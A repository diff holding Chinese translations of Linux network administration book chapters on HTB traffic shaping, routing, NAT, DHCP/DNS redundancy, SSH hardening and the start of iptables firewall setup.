的功能,您几乎可以完全控制如何在网络上处理包。 我说*几乎是*,因为重要的是要记住,排队规则的思想只影响出站流量(出口),而管理进入的流量几乎是不可能的。 然而,在生产网络上,保证特定的服务有一定数量的带宽是非常有益的。 正如我们在前一节中所讨论的,无类 qdisc 允许我们管理处理包的一般方式,但有类 qdisc 允许我们通过设置类和过滤器来进行更多的控制。 - -你可能会遇到的一个可能的场景是 VoIP 通信变得不稳定,导致通话声音模糊或完全下降。 在这种情况下,您可能想要保证您的 VoIP 服务器有更多的带宽,即使这意味着牺牲来自其他来源的流量。 此外,SSH 在 Linux 网络上也很重要。 如果您的服务器被数据包淹没,甚至无法响应通过 SSH 连接到它的请求,这可能是一个非常糟糕的问题,因为您将无法登录并纠正可能出现的任何问题。 这些都是很多人在没有优先排序的情况下面临的真实情况。 如果你的网络或公司依赖某项服务,优先考虑它是一个很好的方法。 - -实现这一点的最流行的 qdisc 是**分级令牌桶**(**HTB**),这是一个有类 qdisc。 HTB 允许你控制设备上使用的出口带宽,它基于我们之前讨论过的 TBF 风格。 HBT 有许多类可以用来控制流量,例如设置`parent`、`priority`、`rate`、`ceil`以及突发字节数。 参见`man htb`查看完整列表。 - -就像我们配置无类 qdisc 一样,设置像 HTB 这样的有类 qdisc 也是通过`tc`命令完成的。 在大多数系统上,这个命令存储在`/sbin`中,并且可能不在普通用户的路径中。 键入`which tc`来定位这个二进制文件在您的发行版中的位置。 在大多数情况下,如果以 root 登录运行,系统应该能够识别此命令。 下面是将 HTB 设置为名为`eth0`的网络设备的 qdisc 的过程示例。 - -```sh -# tc qdisc add dev eth0 root handle 1: htb default 10 -# tc class add dev eth0 parent 1: classid 1:1 htb rate 2mbit -# tc class add dev eth0 parent 1:1 classid 1:10 htb rate 1mbit ceil 1.5mbit -# tc class add dev eth0 parent 1:1 classid 1:20 htb rate 100kbps ceil 100kbps - -``` - -在第一个命令中,我们将 qdisc 从默认的`pfifo_fast`更改为`htb`。 在这个命令中,`root`与我们针对出口流量设置此值有关。 `1:`的句柄是这个特定实例`htb`的名称。 设置默认值`10`意味着任何没有在其他地方特别分类的流量将被赋予一个类 ID`1:10`。 使用第二个命令,我们创建类 ID`1:1`并调整它以使用`2mbit`的速率。 在第三个例子中,我们也在做同样的事情,只是我们创建了带有上限的 ID`1:10`,这将把这个类限制为`1.5mbit`。 因为我们将默认值设置为`10`,所以如果我们不专门针对流量来使用其他东西,就会使用这个类。 最后,我还加了第三个班`1:20`,这个班的上限要低得多`100kbps`。 如果将`rate`和`ceil`值设置为相同的值,我们可以合理地期望该类下的流量消耗`100kbps`,但也将限制为`100kbps`。 您可以继续使用此方法向`1:`父类添加额外的类,只要您需要,就可以相应地划分带宽。 - -既然已经确定了类,就应该使用它们。 在前面的示例中,您可能会注意到现在的带宽比以前要少(假设带宽高于我们设置的默认`1.5mbit`)。 但是我们另外两个类是未使用的,所以我们可以根据需要提高对其他服务的带宽限制。 因此,让我们为 SSH 添加一个过滤器。 由于 SSH 不需要大量的带宽,我们可以将我们的`1:20`类分配给它。 为此,我们将再次使用`tc`命令: - -```sh -# tc filter add dev eth0 parent 1: protocol ip prio 7 u32 match ip sport 22 0xfff classid 1:20 - -``` - -### 注意事项 - -可以更改服务器侦听 SSH 连接的端口,我们将在[第 9 章](09.html "Chapter 9. Securing Your Network")、*保护您的网络*中讨论。 如果您更改了 SSH 端口,请相应地调整`tc`命令。 - -这样就剩下两个类,`1:1`和`1:10`。 我们也可以为它们分配过滤器,这取决于我们想要为流量分类的端口: - -```sh -# tc filter add dev eth0 parent 1: u32 match ip sport 80 0xfff classid 1:1 -# tc filter add dev eth0 parent 1: u32 match ip sport 5060 0xfff classid 1:10 - -``` - -这里,我使用端口`80`和`5060`分别用于 HTTP 和 VoIP 流量。 您的端口可能有所不同,因此您可以根据网络的需要相应地调整该命令。 但是在这个假设的示例中,端口`80`上的流量将被分类为`1:1`并被授予最大速率`2mbit`(对于 web 服务器来说非常好),端口`5060`上的流量将被授予`1.5mbit`。 - -总之,无类 qdisc 允许您控制如何在系统上管理数据包的一般共识。 根据您的环境,您可能会发现更改为无类 qdisc 可以提高性能。 但是真正的好处是有类的 qdisc,它允许您更细粒度地控制如何处理数据包,以及服务器资源的提供速率。 调优网络性能是一项耗时的任务,需要反复试验以确定哪些值、类和过滤器将提高网络的性能。 - -# 路由 TCP/IP 流量 - -网络的全部目的是使流量从 A 点到 b 点。当一台计算机从另一台计算机请求信息时,信息包被路由到目的地,然后再返回。 有时,计算机需要一点关于如何将包送到目的地的指导。 这被称为**routing**。 为了帮助实现这一点,节点利用**路由表**的概念来帮助决定在给定的特定目的地将报文发送到哪里。 如果存在的每个网络都使用相同的 IP 方案,这将是非常容易的,但事实上,每个网络是完全不同的。 要与不同的网络通信,您的计算机必须知道如何到达该网络。 可以将路由表看作外部目的地和到达这些目的地的网关的映射。 - -为了更好地理解这一点,让我们来讨论一下**默认网关**的概念。 通常,默认网关是一个知道如何与其他网络通信的路由器。 当您通过网络发送一个信息请求时,包会穿越到本地默认网关,然后从那里进入其他网络。 在小型办公室或家庭网络的情况下,默认网关可能是位于您的网络和世界其他地方之间的路由器。 此外,它还位于本地设备和网络中所有其他设备之间。 如果没有默认网关,就根本不可能在网络上进行通信。 - -要查看默认网关,发出`ip route`命令并查找读取`default via`的行。 - -![Routing TCP/IP traffic](img/B03919_08_02.jpg) - -ip route 命令的输出信息 - -如果没有默认网关(或者没有正确配置的默认网关),您可能会发现无法与网络上的其他节点进行通信。 在大多数情况下,一旦你通过 DHCP 收到一个地址,默认网关就会被添加到你的路由表中。 如果您使用静态 IP 配置,您可以通过`/etc/network/interfaces`手动设置 Debian 中的默认网关,或者在 CentOS 中为您的网卡设置初始化脚本(例如`/etc/sysconfig/network-scripts/ifcfg-eno1`)。 下面是这些配置文件的示例,并突出显示了相关的行: - -`/etc/network/interfaces`文件(Debian): - -```sh -iface lo inet loopback - -allow-hotplug eth0 -iface eth0 inet dhcp - -# The primary network interface -allow-hotplug eth1 -iface eth1 inet static - address 10.10.96.1 - netmask 255.255.252.0 - gateway 10.10.96.1 - broadcast 10.10.96.255 - dns-search local.lan - dns-nameservers 10.10.96.1 -``` - -`/etc/sysconfig/network-scripts/ifcfg-eno1`文件(CentOS): - -```sh -TYPE=Ethernet -BOOTPROTO=static -DEFROUTE=yes -PEERDNS=yes -PEERROUTES=yes -IPV4_FAILURE_FATAL=no -NAME=eno1 -UUID=8e6587dd-74ec-488f-8597-a04c4a4c5091 -DEVICE=eno1 -ONBOOT=yes -IPADDR="10.10.96.4" -NETMASK="255.255.252.0" -GATEWAY="10.10.96.1" - -``` - -如果你想要更手动地设置默认网关,你也可以通过 shell 命令在终端中这样做,如下所示: - -```sh -# route add default gw 10.10.10.1 eth0 - -``` - -### 注意事项 - -如果您的系统无法识别 route 命令,则需要安装`net-tools`包。 - -很简单。 我们使用 route 命令添加一个新路由; 在本例中,我们添加了默认网关(`default gw`)。 在本例中,我们将网关设置为`10.10.10.1`并将其绑定到接口`eth0`。 这可能是不言自知的,但是一旦重新启动机器或重新启动网络,这个设置很可能会丢失,除非您通过更新接口卡的`init`脚本使其永久保存,就像我们前面讨论的那样。 - -要查看路由表,只需不带任何参数地执行`route -n`命令。 如果没有找到该命令,您可能需要调用该路径(例如`/sbin/route`)或将其作为根运行。 当您执行此命令时,您将看到路由表。 这也将显示您的默认网关。 - -![Routing TCP/IP traffic](img/B03919_08_03.jpg) - -route -n 命令的输出信息 - -关于这个表首先要讨论的是`0.0.0.0`的 IP 地址。 在网络方面,这指的是一切。 正如您在前面示例中所示的表中所看到的,该网络上目的地`0.0.0.0`的网关是`192.168.1.1`。 因此,任何通信都被发送到这个 IP(毕竟,它是默认网关)。 这张表中还显示了其他网络。 在我的例子中,它们指的是运行在这个测试机器上的 Docker 实例和 KVM 虚拟化,每个实例都有自己独立的虚拟网络。 因为它们都在同一台机器上运行,所以它们的网关是本地的`0.0.0.0`。 - -一台 Linux 机器本身就可以很容易地充当路由器,而不需要像思科这样的公司提供的昂贵的网络设备。 这种灵活性使得 Linux 成为网络的一个非常突出的选择,基于 Linux 的硬件路由器也变得非常普遍。 至少在某种程度上,这是由于将 Linux 系统配置为路由器非常容易。 简而言之,将 Linux 节点转换为路由器所需要的全部工作就是多个网络接口卡。 每个接口卡都可以有自己的默认网关,因此您可以按照本节前面为`eth0`添加默认网关的方式来配置路由。 您只需对`eth1`、`eth2`或系统上可能存在的任何其他接口执行相同的操作。 - -然而,有一个警告。 在大多数 Linux 发行版中,缺省情况下网络接口之间的路由通常是禁用的。 这给您的作者带来了很多痛苦和挫折,直到我在职业生涯的早期就知道了这一点,所以我将为您省去这些麻烦,并向您展示如何在 Linux 系统上启用接口之间的路由。 - -首先,看看这是否已经为您完成了。 虽然我发现许多发行版在默认情况下没有启用转发功能,但有些发行版启用了。 检查这个很容易: - -```sh -cat /proc/sys/net/ipv4/ip_forward - -``` - -这个命令的输出是什么? 是`1`吗? 如果是这样,那么一切都准备好了。 如果没有,我们需要改变这一点。 为此,只需将该值替换为 1(作为根): - -```sh -echo 1 > /proc/sys/net/ipv4/ip_forward - -``` - -就这样,你完蛋了。 您刚刚启用了接口之间的路由(转发)。 这并不难。 但是,我想你更希望这是一个永久的改变。 一旦重新启动系统,这个设置很可能就会恢复到默认设置。 要使此更改永久生效,使用您喜欢的文本编辑器(以根用户身份)编辑`/etc/sysctl.conf`,并在文件末尾添加以下一行: - -```sh -net.ipv4.ip_forward = 1 - -``` - -现在,无论何时重新启动系统,都将保持此设置。 到目前为止,在我让你做的所有网络调整中,这绝对是最简单的。 - -最后,让我们花一点时间讨论一下**网络地址转换**(**NAT**)。 NAT 的概念是改变发送到一个主机的数据包,并改变它们,使它们的目的地变成其他东西。 这种更改实际上是通过更改数据包本身来完成的,它对于管理网络路由非常有用。 NAT 最常见的用途是保存 IP 地址,这在目前 IPv4 地址短缺的情况下尤其重要。 如果你家里有一个路由器,你可能已经熟悉这个概念了。 你的**互联网服务提供商**(**ISP**)给你一个 IP,而这个 IP 就是世界上其他人眼中的你。 但是在你的本地网络中,你可能有十几台设备连接在一起,并且使用相同的互联网连接。 您的每个内部设备都有一个本地 DHCP 服务器给它们的 IP 地址,但该地址只是本地的,不能路由到外部世界。 在这种情况下,你的路由器跟踪进出你的每个设备的数据包,它改变数据包,使它们不会混淆,并结束在正确的地方。 - -例如,假设您有一台膝上型电脑和一台台式机(在同一网络上),并且您在膝上型电脑上访问[https://www.packtpub.com/](https://www.packtpub.com/)。 你的路由器将请求发送到互联网上,并发送结果。 基本上,你的路由器代表你的笔记本电脑发出请求。 当从[https://www.packtpub.com/](https://www.packtpub.com/)返回数据包到达时,数据包的目的地址从您的公共 IP 地址更改为请求信息的机器的 IP 地址。 这样,您就可以合理地确定您的笔记本电脑将得到回复,因为它是第一个要求它的地方。 - -NAT 的概念很聪明,这甚至不是唯一的用例。 您甚至可以自己手动更改目的地地址,这可以帮助您将数据包发送到其他网络,否则您的内部计算机将不知道如何路由到这些网络。 要手动修改 NAT,我们使用`ip rule`命令。 使用这个命令只需要根据流量的来源改变目的地即可。 考虑以下例子: - -```sh -# ip rule add nat 10.10.10.1 from 192.168.1.134 - -``` - -这再简单不过了。 这里,我们告诉系统查找来自`192.168.1.134`的任何包,并将它们重写为流到`10.10.10.1`。 对你需要执行的其他*NATing*重复此步骤。 - -# 创建冗余 DHCP / DNS 服务器 - -在[第六章](06.html "Chapter 6. Configuring Network Services")、*网络服务配置*中,我们建立了 DHCP 和 DNS 服务器。 这很好,但不幸的是有一个主要问题。 一个是单一的故障点。 如果 DHCP 服务器宕机,新设备将无法接收 IP 地址,当前连接的客户端将在当前 IP 租期到期时退出网络。 如果 DNS 服务器宕机,客户端将无法通过主机名到达目的地。 根据您的网络范围,这种停机可能很难处理,因此为这些服务提供冗余可能是一个好主意。 - -当一个 DHCP 服务器与另一个服务器配置冗余时,它将同步其发出的 IP 地址列表,并且每个服务器都将检测其他服务器是否停止响应。 在这种情况下,辅助服务器将接管发布新 IP 地址的任务。 使用 DNS,只是在网络上添加另一个 DNS 服务器的问题,但我稍后会详细讨论这个问题。 - -让我们从向 DHCP 服务器添加冗余开始。 为了简单起见,可以将前面创建的初始服务器视为主服务器。 接下来要做的是创建另一个服务器作为辅助服务器。 这可以是另一个物理服务器,甚至是一个虚拟机,你自己选择。 按照第六章[、](06.html "Chapter 6. Configuring Network Services")和*中讨论的方式安装`isc-dhcp-server`、*配置网络服务*。 一旦你让第二个服务器站起来,我们就可以开始了。* - -### 注意事项 - -在两台 DHCP 服务器投入生产之前,确保它们的时钟是同步的,这是绝对必要的*。 在继续之前,最好再次检查 NTP 是否配置并在两者上运行。 在[第 6 章](06.html "Chapter 6. Configuring Network Services")、*配置网络服务*中,包含了关于设置 NTP 的信息。* - - *从主节点开始,我们应该向/`etc/dhcp/dhcpd.conf`文件中添加一些额外的代码。 为了增加冗余,我将新建的配置行加粗: - -```sh -default-lease-time 86400; -max-lease-time 86400; -option subnet-mask 255.255.252.0; -option broadcast-address 10.10.99.255; -option domain-name "local.lan"; -authoritative; -failover peer "dhcp-failover" { - primary; - address 10.10.96.2; - port 647; - peer address 10.10.96.1; - peer port 647; - max-response-delay 60; - max-unacked-updates 10; - load balance max seconds 3; - mclt 3600; - split 128; -} -subnet 10.10.96.0 netmask 255.255.252.0 { - option routers 10.10.96.1; - option domain-name-servers 10.10.96.1; - pool { - failover peer "dhcp-failover"; - range 10.10.99.100 10.10.99.254; - } -} -``` - -### 注意事项 - -注意,下面一行被删除了: - -```sh -range 10.10.99.100 10.10.99.254; -``` - -它被同一部分中的池`{}`块所取代。 - -对于的大多数部分,我们在主服务器上所做的相同配置可以复制到次要服务器上。 您可以使用这里的/`etc/dhcp/dhcpd.conf`文件作为在第二台服务器上启动配置的基础。 我将再次强调两者之间的不同之处。 代码如下: - -```sh -default-lease-time 86400; -max-lease-time 86400; -option subnet-mask 255.255.252.0; -option broadcast-address 10.10.99.255; -option domain-name "local.lan"; -authoritative; -failover peer "dhcp-failover" { - secondary; - address 10.10.96.1; - port 647; - peer address 10.10.96.2; - peer port 647; - max-response-delay 60; - max-unacked-updates 10; - load balance max seconds 3; -} -subnet 10.10.96.0 netmask 255.255.252.0 { - option routers 10.10.96.1; - option domain-name-servers 10.10.96.1; - pool { - failover peer "dhcp-failover"; - range 10.10.99.100 10.10.99.254; - } -} -``` - -### 注意事项 - -从辅助服务器的配置中删除了以下几行: - -```sh -mclt 3600; -split 128; - -``` - -你应该注意到主句和次句的地址是相反的。 在第一个配置文件中,主服务器是`10.10.96.1`,次要服务器被设置为`10.10.96.2`。 在第二个实验中,这个数字分别变为`10.10.96.2`和`10.10.96.1`。 此外,还要仔细注意 IP 地址、子网掩码和其他可能在不同网络中有所不同的值。 如果您在两台服务器上都启动 DHCP 服务(在 Debian 上是`isc-dhcp-server`,在 CentOS 上是`dhcpd`),您应该会看到它们通过日志进行通信。 要检查的特定日志在基于 debian 的系统中是`/var/log/syslog`,在 CentOS 系统中是`/var/log/messages`。 通过在其中一台服务器上禁用 DHCP 服务,您可以很容易地测试这一方法是否有效,并且您应该会看到其他发出的 IP 地址。 - -现在我们已经为 DHCP 配置了冗余,让我们对 DNS 进行同样的配置。 事实上,这要简单得多。 您所要做的就是指定另一个服务器作为辅助 DNS 服务器(您可以创建一个新机器,或者只是将其添加到辅助 DHCP 服务器),然后将配置文件和区域文件复制到新服务器。 同样,[第 6 章](06.html "Chapter 6. Configuring Network Services")、*配置网络服务*中包含了这些文件的所有相关细节。 如果您想节省一点时间,甚至可以将原来的 DNS 服务器克隆到新机器中,如果您正在使用虚拟化或了解如何使用`dd`命令,这很容易做到。 在创建辅助服务器并复制区域文件的任何方法之后,测试 DNS 在新服务器上是否正常工作。 完成之后,我们返回到 DHCP 配置,将这个辅助服务器部署到所有节点。 - -在/`etc/dhcp/dhcpd.conf`文件中,查找以下一行: - -```sh -option domain-name-servers 10.10.96.1; - -``` - -修改为: - -```sh -option domain-name-servers 10.10.96.1, 10.10.96.2; - -``` - -你就完成了。 现在,每次您的客户的租约到期或他们请求一个新的 IP 地址,他们将自动提供次要 DNS 地址。 - -此时,剩下要做的唯一一件事就是配置使用静态 IP 地址设置的任何节点,以使用辅助 DNS 服务器。 正如我已经提到过上千次的那样,由于这个原因,我更喜欢静态租期(为 DHCP 服务器上的各个节点保留 IP 地址),而不是手动静态 IP 分配。 只需在 DHCP 服务器上配置即可。 但是,如果您确实有手动配置网络的任何节点(每个节点都是自己的),只需更新它们的`init`脚本。 同样,您会在`/etc/network/interfaces`(Debian)或`/etc/sysconfig/network-scripts/.cfg`(CentOS)中找到这个配置。 - -# 总结 - -在我们的旅程中,您的网络应该处于更好的状态。 在这一章中,我们完成了相当多的工作。 我们已经讨论了路由、NAT、子网、服务质量等高级主题,甚至还为 DHCP 和 DNS 服务器设置了冗余。 如果我们出色的网络发生什么事,那将是一个遗憾。 这就是为什么在下一章中,我将介绍如何加强我们网络的安全性。 看到你在那里!* \ No newline at end of file diff --git a/docs/master-linux-net-admin/09.md b/docs/master-linux-net-admin/09.md deleted file mode 100644 index 000a094b..00000000 --- a/docs/master-linux-net-admin/09.md +++ /dev/null @@ -1,583 +0,0 @@ -# 九、防护您的网络 - -安全漏洞和利用这些漏洞的歹徒无处不在。 在一个典型的网络上运行的软件中包含数百万行代码,从统计上讲,不可能百分之百地免受所有可能的威胁。 然而,一个好的网络管理员会关注当前的网络安全趋势,并采取一切可能的预防措施来帮助确保网络尽可能地安全。 在这一章中,我们将看看可以做些什么来提高您的网络的安全性。 - -在本章中,我们将介绍: - -* 限制攻击面 -* 确保 SSH -* 配置 iptables 防火墙 -* 使用 fail2ban 保护系统服务 -* 理解 SELinux -* 配置 Apache 使用 SSL -* 部署安全更新 - -# 限制攻击面 - -最重要的网络安全规则是限制攻击范围。 简而言之,这意味着你安装的软件和/或你运行的服务越少,它被用来对付你的可能性就越小。 如果这还不够糟糕,在某些情况下,服务器软件中一个未修补的漏洞可能会让歹徒利用您的服务器攻击其他人。 通过限制系统中使用的包的数量,可以降低发生不良事件的可能性。 - -这听起来很简单,而且确实很简单,但是要记住,这不仅仅是只安装您需要的东西的问题。 许多 Linux 发行版附带了您可能永远都不需要使用的软件。 这不仅适用于服务器。 甚至您的终端用户工作站也可能有一些不必要的服务正在运行,这些服务将成为攻击者使用的宝库。 一个常见的例子是在系统上运行一个**邮件传输代理**(**MTA**)。 令人惊讶的是,许多 Linux 发行版都默认使用运行 MTA。 除非您特别需要 MTA(对于示例,您已经安装了需要向管理员发送电子邮件消息的脚本),否则您应该从系统中删除这些包。 - -当在任何网络上推出 Linux 时,您应该做的第一件事是找出安装了什么和正在运行什么,然后决定要关闭什么和/或卸载什么。 这就是所谓的限制你的攻击面。 的确,Linux 是最安全的系统之一,但如果您不关注正在运行的系统并侦听网络上的连接,那么什么也帮不了您。 在本节的剩余部分中,我将介绍几种可以限制攻击面的方法。 - -首先,让我们打印出系统上安装的所有软件包的列表。 这将允许我们看到安装了什么,然后我们可以删除任何突出的,我们确定我们不需要。 这个列表可能很大,因为它包含了所有东西; 我指的是所有东西——甚至是允许我们的系统运行的库和各种包。 您肯定不会理解它们每个包的用途,但是随着您对 Linux 了解的更多,您将对它们有更多的了解,并知道需要删除哪些包。 例如,我知道从所有安装中删除`exim`或`postfix`包,因为我个人在任何地方都不需要它们。 由于您无法理解系统上安装的所有软件包的目的,所以我建议您快速查看并删除那些您确信不需要的软件包。 要打印已安装包的列表,运行以下命令之一: - -对于基于 debian 的系统,执行以下命令: - -```sh -# dpkg --get-selections > installed_packages.txt - -``` - -对于 CentOS 系统,执行如下命令: - -```sh -# rpm -qa > installed_packages.txt - -``` - -在任何一种情况下,您都将在当前工作目录中得到一个名为`installed_packages.txt`的文本文件。 这个文本文件将包含系统上安装的所有包的列表。 随时检查它,看看是否有什么突出的东西,你可以删除。 此外,这个文件还可以作为方便的备份。 如果您需要关闭一个服务器并设置一个具有类似目的的新服务器,您可以将一个服务器上的包与另一个服务器上的包进行比较,以确保安装了正确的包。 - -另一个发现系统上正在运行的东西的技巧是使用`netstat`命令。 虽然我们将在[第 10 章](10.html "Chapter 10. Troubleshooting Network Issues"),*故障诊断网络问题*中进一步讨论这个命令,让我们现在来尝试一下: - -```sh -netstat -tulpn - -``` - -您应该看到在本地计算机上运行的服务列表,这些服务实际上正在监听网络连接。 这些应该给予主要的注意,因为任何侦听外部连接的东西都可能是进入您的系统的切入点。 如果您在这里看到一些正在侦听连接的东西,而您不需要它侦听连接,则删除该包。 您总是可以禁用一个服务,但是删除底层包更好,因为它们不会意外启动。 如果您发现确实需要这些包,可以随时重新安装它们。 - -![Limiting the attack surface](img/B03919_09_01.jpg) - -netstat 命令,列出正在运行和侦听的服务 - -在我的情况下,我可以看到我有同步和 Chrome 正在监听外部连接。 这是预期。 但在生产环境中,比如服务器,需要注意 Apache web 服务器(如果服务器不是 web 服务器,这将是一个问题)、后缀或任何不应该安装的文件传输实用程序。 - -另一个有用的工具是**sheldsup**,它是 GRC 在互联网上提供的服务。 无论如何,这不是一个特定于 Linux 的工具,但如果您在路由器上使用 Linux,并希望确保将其配置为尽可能隐蔽的,这个工具可以用于测试。 您可以在以下网址访问此工具: - -[https://www.grc.com/shieldsup](https://www.grc.com/shieldsup) - -### 注意事项 - -请记住,sheldsup 是一个在线工具,不受作者或出版商的控制或管理。 因此,它可能会在任何时候改变。 话虽如此,这个网站在相当长的一段时间内没有改变,它是一个非常有用的工具。 - -要使用它,请单击**Proceed**,然后单击**All Service Ports**。 该服务通过检查哪些端口响应外部请求来工作。 如果一个端口是打开的,它将显示红色,您应该能够单击它以找到关于该端口通常用于什么的更多信息。 这个将为您提供关于禁用哪些内容的线索。 如果服务不包含关于特定端口的信息,只需在谷歌上搜索以寻找线索。 - -![Limiting the attack surface](img/B03919_09_02.jpg) - -使用 ShieldsUP ! 查看哪些端口响应外部请求 - -最后,`systemctl`命令还可以用来查看您的机器上当前安装了哪些服务: - -```sh -systemctl list-units -t service - -``` - -使用前面的命令将打印到终端的列表,您将能够看到当前安装的单元文件及其状态。 - -这基本上总结了如何询问您的系统,以找出什么正在运行。 在了解服务的典型名称时,您可能需要进行一些谷歌搜索,以便了解每个服务的用途,但随着时间的推移,它会变得越来越容易。 如果你完全不确定哪些功能可以禁用,那么在你真正调整你的运行服务之前,先做一下研究。 在最坏的情况下,如果您禁用了一个必要的服务,您的服务器可能不会启动下一次。 与往常一样,在更改系统服务之前,确保有良好的备份。 - -# OpenSSH 安全 - -OpenSSH 是一个很好的工具; 它是 Linux 管理员最好的朋友。 它节省了您必须走进服务器室并连接显示器和键盘以便在您的网络上执行工作的麻烦。 使用连接到同一网络的任何计算机,你几乎可以做任何你想做的事情,就像你正站在机器前面一样。 问题是,不安全的 SSH 实现给了不法分子同样的特权。 在您的网络上运行的所有东西中,SSH 肯定是您需要重点关注的一个。 - -对于 SSH,第一个也是最常见的安全性调整是只使用协议的 Version 2。 要确定您的 Linux 安装使用的是哪个版本,`grep`的`/etc/ssh/sshd_config`文件: - -```sh -cat /etc/ssh/sshd_config |grep Protocol - -``` - -如果答案是 1,您应该编辑该文件并将读取**协议 1**的行更改为**协议 2**,并重新启动 SSH。 这一点之所以重要,是因为协议 1 的安全性远远低于协议 2。 幸运的是,SSH Version 7 及以后版本现在默认为协议 2,所以这并不像以前那样常见。 但在撰写本文时,Version 7 刚刚发布,还没有进入许多发行版。 希望在您阅读本文时,您的发行版已经升级到 Version 7 了。 但如果不是,那么确保所有服务器只使用 SSH 的协议 2 是很重要的。 您可以通过更改`sshd_conf`文件中的相关行,然后重新启动 SSH 服务来实现这一点。 - -另一个值得对 SSH 进行的更改是更改它侦听的端口。 缺省情况下,SSH 在**端口 22**上侦听。 你可以用下面的命令来确认: - -```sh -cat /etc/ssh/sshd_config |grep Port - -``` - -除非你改了,否则答案是 22。 因为 22 是 SSH 的默认端口,所以每个人(包括坏人)都希望它是这个端口。 在`/etc/ssh/sshd_config`文件中,将有一个靠近顶部的端口选项。 如果你把它换成别的东西,它对外人来说就不那么明显了。 然而,我不想让你在这里产生一种错误的安全感。 更改 SSH 的端口并不是防止通过 SSH 入侵的神奇屏障。 在有针对性的攻击中,歹徒会扫描服务器上的每个端口,所以如果他们确定了,他们会找出您将其更改为哪个端口。 我之所以推荐这个改变是因为它是一个非常容易的改变。 只需几秒钟就可以更改您的 SSH 端口,并且您可以做任何使您的网络对外部人员不那么明显的更改都是值得欢迎的。 只有当您的网络用户希望 SSH 端口位于端口 22 时,更改 SSH 端口才会成为一个潜在的问题。 只要你把这个改变传达给每个人,它应该不是一个问题。 - -为了连接到一个非标准 SSH 端口的服务器,使用`-p`标志: - -```sh -ssh -p 63456 myhost.mynetwork - -``` - -您还可以在使用`scp`时指定端口: - -```sh -scp -P 63456 - -``` - -### 注意事项 - -注意,`scp`中的`-P`参数是大写的,而在`ssh`命令中不是。 这是故意的。 这是因为已经使用了`scp`中的小写`-p`选项,它用于在传输文件时保存修改时间。 - -如果似乎不能养成为 SSH 请求不同端口的习惯,那么为它创建一个别名。 然而,如果您的一些主机仍然使用端口 22,那么这可能是一个问题,所以只有当您连接的所有内容都在相同的端口上时,才会使用这个别名。 在下面的示例中,我们可以将别名设置为`ssh`,以强制它始终使用端口`63456`: - -```sh -alias ssh="ssh -p 63456" - -``` - -对 SSH 配置的另一个非常重要的更改是不允许 root 登录。 在任何情况下,任何 Linux 服务器都不允许 root 登录。 如果您的配置要求您以 root 身份通过 SSH 登录到服务器,请更正您的配置。 要检查 root 登录是否通过 SSH 启用,请执行以下命令: - -```sh -cat /etc/ssh/sshd_config |grep PermitRootLogin - -``` - -如果启用了 root 登录,请在`/etc/ssh/sshd_config`中修改下面的配置行来禁用它。 但是,首先要确保您能够使用普通用户帐户通过 SSH 访问服务器; 否则,你会被锁在门外。 下面的配置行在`sshd_config`将禁止根用户登录: - -```sh -PermitRootLogin no - -``` - -### 注意事项 - -像往常一样,在对`ssh`的配置进行任何更改后重新启动它。 不用担心在使用 SSH 时重新启动它,当前的连接不会中断。 - -对于 Debian 系统,执行以下命令: - -```sh -# systemctl restart ssh - -``` - -对于 CentOS 系统,执行如下命令: - -```sh -# systemctl restart sshd - -``` - -另一个值得实现的实践是将 SSH 锁定为只允许通过特定用户和/或组进行连接。 默认情况下,任何拥有系统帐户的用户都可以通过 SSH 访问。 要改变这一点,在配置文件的最底部添加以下一行: - -```sh -AllowUsers jdoe - -``` - -如果有多个用户,可以在同一行中添加多个用户: - -```sh -AllowUsers jdoe bsmith - -``` - -您还可以允许特定的组。 首先,创建一个用于 SSH 访问的组: - -```sh -groupadd ssh_admins - -``` - -接下来,向组中添加一个或多个用户: - -```sh -usermod -aG ssh_admins jdoe - -``` - -最后,将下面的添加到 SSH 配置文件的底部。 重启 SSH 后,访问权限将被限制为该组的成员。 每次您需要将 SSH 访问权限授予某人时,您所需要做的就是将他们的用户 ID 添加到这个组,而不必每次都重新启动`sshd_config`配置文件。 - -```sh -AllowGroups ssh_admins - -``` - -最后,SSH 最安全的选项是根本不允许基于密码的身份验证。 相反,用户可以使用公钥/私钥对进行访问。 使用这种方法,密码不会通过网络传输,并且那些没有与接受的公钥相匹配的私钥的密码将不被允许访问。 这是我向大家推荐的做法。 缺点是,它还带来了最多的管理开销。 要实现这个改变,每个用户需要用以下命令为 SSH 生成一个密钥对: - -```sh -ssh-keygen - -``` - -您将被问及几个问题,其中大多数问题都可以作为默认的保留。 对于密码短语,要想出一些独特的东西,并确保它与你的密码不一样。 如果你不想在建立连接时被要求输入密码,你可以把它留空,但我建议你自己创建一个。 - -接下来,配置服务器以允许您通过密钥进行连接的最简单的方法是在禁用密码身份验证之前将该密钥导入服务器*。 要做到这一点,可以使用以下方法:* - -```sh -ssh-copy-id -i ~/.ssh/id_rsa.pub myserver.mynetwork.com - -``` - -此时,系统将要求您使用普通密码登录服务器。 然后,下次连接到它时,您将默认使用您提出的密钥对,如果您创建了一个密钥对,您将被要求提供密码短语。 - -在所有用户生成密钥并将其导入服务器之后,您可以实现此更改。 在 SSH 配置文件中查找类似如下所示的行: - -```sh -PasswordAuthentication yes - -``` - -只需将该选项更改为 no,重新启动 SSH,就应该已经全部设置好了。 这个工作的原因是当你复制 SSH 密钥使用`ssh-copy-id`命令,它实际上做的是复制的内容您的公钥(`~/.ssh/id_rsa.pub`)在本地机器上的`~/.ssh/authorized_keys`在远程计算机上的文件。 禁用密码身份验证后,SSH 将检查那里列出的密钥是否与您的私钥(`~/.ssh/id_rsa`)匹配,然后允许您访问。 - -通过这些调整,您的 SSH 实现应该是相当安全的。 如果您使用弱密码或密码短语,它当然不会帮助您,但这些是您应该在所有服务器上采取的一般步骤。 - -# 配置 iptables 防火墙 - -默认情况下,Linux 包括防火墙**iptables**。 这个防火墙应该在大多数(如果不是全部)版本的 Linux 上自动可用。 在这个小活动中,我们将在 Linux 系统上设置防火墙。 不管您使用的是哪个主要发行版,这都应该可以很好地工作,但我将列出任何可能特定于发行版的内容。 在我们开始之前,我建议您在测试机器上使用它,比如 VM 或您可以物理访问的东西。 如果您正在使用 SSH,那么当我们启用防火墙时,您可能会断开连接,不过我将按照不应该断开连接的顺序提供这些步骤。 无论如何,拥有一台专用的测试机器是一个好主意。 - -让我们开始吧。 不幸的是,在默认情况下,`iptables`是完全开放的。 它是如此开放,事实上,它什么也阻挡不了。 要亲自看到这一点,将`iptables -L`作为根。 你的输出可能看起来像这样: - -```sh -Chain INPUT (policy ACCEPT) -Chain FORWARD (policy ACCEPT) -Chain OUTPUT (policy ACCEPT) - -``` - -你在这里看到的是`iptables`的三条**链**,每一条都对应于输入、输出和转发。 